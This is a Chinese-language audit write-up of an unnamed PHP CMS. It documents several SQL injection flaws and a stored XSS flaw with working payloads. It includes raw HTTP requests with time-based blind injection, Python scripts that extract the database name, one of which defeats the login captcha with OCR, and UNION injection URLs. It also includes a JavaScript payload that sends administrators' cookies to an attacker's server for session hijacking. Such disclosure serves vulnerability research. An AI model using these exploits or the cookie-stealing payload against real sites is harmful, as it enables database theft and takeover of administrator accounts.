对某cms的一次审计

2020-04-15 约 907 字 预计阅读 5 分钟

声明:本文 【对某cms的一次审计】 由作者 xianyu123 于 2020-04-15 09:06:56 首发 先知社区 曾经 浏览数 112 次

感谢 xianyu123 的辛苦付出!

记一次某cms的审计,文章有写的不好的地方,大佬们轻喷。

网站目录结构

├── Conf(连接数据库的一些配置文件)
├── Libs(一些公共函数)
├── Statics(js的一些静态文件)
├── Style(css样式)
├── add_book.php
├── add_do.php
├── code.php
├── foot.php
├── index.php
├── install(网站安装目录)
├── system(网站后台,审计的重点)
└── top.php

后台SQL注入漏洞

第一处sql注入

/system/add_book_class.php,关键代码如下,这里没有任何的过滤

......
......
......
<?php
if($_GET["act"]==ok){
    $siteinfo = array(
        'title' => $_POST['title'],
        'c_order' => $_POST['c_order']
        );
    $db->insert("****cms_book_class", $siteinfo);
    //$db->close();
    echo "<script language='javascript'>"; 
    echo "alert('恭喜您,信息内容添加成功!');";
    echo " location='manage_book_class.php';"; 
    echo "</script>";
}
?>

insert函数在/Libs/Class/mysql.class.php,内容如下,这里也并没有对插入数据库的函数进行过滤

function insert($tableName, $column = array()) {
         $columnName = "";
         $columnValue = "";
         foreach ($column as $key => $value) {
             $columnName .= $key . ",";
             $columnValue .= "'" . $value . "',";
         }
         $columnName = substr($columnName, 0, strlen($columnName) - 1);
         $columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
         $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
         $this->query($sql);
     }

payload:

POST /system/add_book_class.php?act=ok HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/add_book_class.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1

title=',case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end)#&c_order=1

这里titlec_order参数都存在sql注入

获取数据库名的exp如下:

import requests
import time
url = 'http://localhost:81/system/add_book_class.php?act=ok'
# 这里省去了登录的爬虫,因为存在验证码,ocr比较麻烦,所以登录成功后,把cookie替换一下即可
cookie = {'Cookie': 'PHPSESSID=npvaign44srcvlhjglh9srrqo6'}

def binary_search_sql(start,end,payload,length=2):
    name = ''
    for i in range(1,length+1):
        left = start
        right = end
        while 1:
            mid = (left + right) // 2
            if mid == left:
                name += chr(mid)
                break
            start_time = time.time()
            full_payload = payload.format(num1=str(i),num2=str(mid))
            requests.post(url=url,data={'title':full_payload,'c_order':'1'},headers=cookie)
            print(full_payload)
            if time.time() - start_time > 2.5:
                right = mid
            else:
                left = mid
    return name

# 这里爆破库名长度
# 5
database_length_payload = "',case when (ascii(mid((length(database())),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
database_length = binary_search_sql(48,57,database_length_payload,1)
print('database_length:'+database_length)

# 这里爆破库名
#
database_payload = "',case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end)#"
print('database_name:'+binary_search_sql(33,127,database_payload,int(database_length)))

第二处sql注入

/system/loginpass.php关键代码如下

......
......
......
$login_ip=getIp();
  $sql="select * from admin_user where u_name='".$m_name."' and u_pwd='".$m_pwd."'";
  $result=$db->query($sql);
if(!mysql_num_rows($result)==0){
    $_SESSION["m_name"] = $m_name;
    $db->query("UPDATE admin_user SET login_nums=login_nums+1 where u_name='".$m_name."'");
    $login_info=array(
       'u_name'=>$m_name,
       'login_date'=>strtotime(date('Y-m-d')),
       'login_ip'=>$login_ip
    );
    $db->insert("admin_login_log",$login_info);
    $db->close();
    ok_info('***cms.php','恭喜您,登陆成功!');
  }
......
......
......

getIp()函数如下

function getIp() {
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else
        if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
            $ip = getenv("HTTP_X_FORWARDED_FOR");
        else
            if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
                $ip = getenv("REMOTE_ADDR");
            else
                if (isset ($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
                    $ip = $_SERVER['REMOTE_ADDR'];
                else
                    $ip = "unknown";
    return ($ip);
}

这里对ip没有做任何的过滤限制,我们可以用http头X-Forwarded-For,对输入的ip进行控制,也就是说,loginpass.php中的变量$login_ip是可控的

insert函数如下

function insert($tableName, $column = array()) {
         $columnName = "";
         $columnValue = "";
         foreach ($column as $key => $value) {
             $columnName .= $key . ",";
             $columnValue .= "'" . $value . "',";
         }
         $columnName = substr($columnName, 0, strlen($columnName) - 1);
         $columnValue = substr($columnValue, 0, strlen($columnValue) - 1);
         $sql = "INSERT INTO $tableName($columnName) VALUES($columnValue)";
         $this->query($sql);
     }

这里对插入的数据也没有做任何限制

payload如下

POST /system/loginpass.php HTTP/1.1
Host: localhost:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://localhost:81
Connection: close
Referer: http://localhost:81/system/index.php
Cookie: PHPSESSID=npvaign44srcvlhjglh9srrqo6
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '

admin=1&password=1&checkcode=4K23

也就是说,我们只要能正确识别验证码,X-Forwarded-For中提交盲注的内容,就可以进行sql注入

注入数据库名的exp.py

这里必须要安装pytesseract库tesseract,这样的话ocr识别很快

import requests
from PIL import Image
import pytesseract
from time import time

r = requests.Session()
url_code = 'http://localhost:81/system/code.php?act=yes'
url_login = 'http://localhost:81/system/loginpass.php'
length = ''
name = ''

# 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值
def code():
    req = r.get(url_code)
    with open('1.png', 'wb') as f:
        f.write(req.content)
    #新建Image对象
    image = Image.open("1.png")
    #进行置灰处理
    image = image.convert('L')
    #这个是二值化阈值
    threshold = 150
    table = []
    for i in  range(256):
        if i < threshold:
            table.append(0)
        else:
            table.append(1)
    #通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了
    image = image.point(table,"1")
    code = pytesseract.image_to_string(image)
    return code

# 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_length(num2,num1=1):
    payload_length = "1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"
    data = {'admin': '1',
            'password': '1',
            'checkcode': code()
            }
    full_payload = payload_length.format(num1=str(num1),num2=str(num2))
    print(full_payload)
    req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
    if '验证码输入有误' in req.text:
        return checkcode_length(num2)

# 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止
def checkcode_database_name(num1,num2):
    payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
    data = {'admin': '1',
            'password': '1',
            'checkcode': code()
            }
    full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))
    print(full_payload)
    req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
    if '验证码输入有误' in req.text:
        return checkcode_database_name(num1,num2)

# 这里返回数据库名的长度
def database_length():
    global length
    for i in range(48,58):
        payload_length = "1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"
        data = {'admin': '1',
                'password': '1',
                'checkcode': code()
                }
        full_payload = payload_length.format(num1=str(i))
        print(full_payload)
        start_time = time()
        req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
        if '验证码输入有误' in req.text:
            checkcode_length(str(i))
        else:
            if time() - start_time > 2.5:
                length += chr(i)
                print(length)

# 这里调用database_length()函数来获取数据库名的长度
database_length()
print(length)

# 这里返回数据库名
def database_name():
    global name
    payload_database_name = "1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"
    for i in range(1,int(length)+1):
        left = 32
        right = 127
        while 1:
            mid = (left + right) // 2
            if mid == left:
                name += chr(mid)
                break

            data = {'admin': '1',
                    'password': '1',
                    'checkcode': code()
                    }
            full_payload = payload_database_name.format(num1=str(i), num2=str(mid))
            print(full_payload)
            start_time = time()
            req = r.post(url_login, data=data, headers={'X-Forwarded-For': full_payload})
            print(full_payload)

            if '验证码输入有误' in req.text:
                checkcode_database_name(i, mid)
            else:
                if time() - start_time > 2.5:
                    right = mid
                else:
                    left = mid

# 这里调用database_name()函数来获取数据库名
database_name()
print(name)

第三处sql注入

/system/hf_book.php关键代码如下,大概在这个页面的18行左右

....
....
....
$sxid=$_GET["id"];
$e_rs=$db->get_one("select * from ***cms_book where id=$sxid",MYSQL_ASSOC);
$bid=$e_rs['id'];
....
....

先猜测字段数目,11正确,12错误,说明字段数是11

http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#
http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#

看回显部分,字段3和字段5存在回显

http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#

注入出数据库名

http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#

小结

这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明

前台存储型xss

/add_do.php

<?php
session_start();
require 'Conf/***cms.inc.php';
require 'Libs/Function/fun.php';
if(strtolower($_POST["checkcode"])==strtolower($_SESSION["randval"])){
  unset($_SESSION["randval"]);//释放session中的变量
}else{
  unset($_SESSION["randval"]);
  ok_info(0,"验证码输入有误!");
  exit();
}
$byz=$_POST['b_yzcode'];
if($byz!==md5($yzcode)){
    ok_info(0,'错误的参数!');
}
$siteinfo = array(
        'type_id' => intval(trim($_POST['type_id'])),
        'b_title' => injCheck($_POST['b_title']),
        'b_content' => injCheck($_POST['b_content']),
        'b_name' => injCheck($_POST['b_name']),
        'b_tel' => injCheck($_POST['b_tel']),
        'b_mail' => injCheck($_POST['b_mail']),
        'b_qq' => injCheck($_POST['b_qq']),
        'b_ip' => injCheck($_POST['b_ip']),
        'c_date' => time()
        );
$db->insert("***cms_book", $siteinfo);
$db->close();
ok_info('/index.php','恭喜你,留言提交成功!');
?>

第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞

然后我们到该页面,进行提交

这里我是用我的服务器进行监听,4.js内容如下

var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;

然后在我自己的服务器上nc监听

然后当管理员在后台点击访问新回复的时候

然后可以打到cookie并且可以成功登录

小结

其实这里也有后台存储型xss,但是很鸡肋,就不说了

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now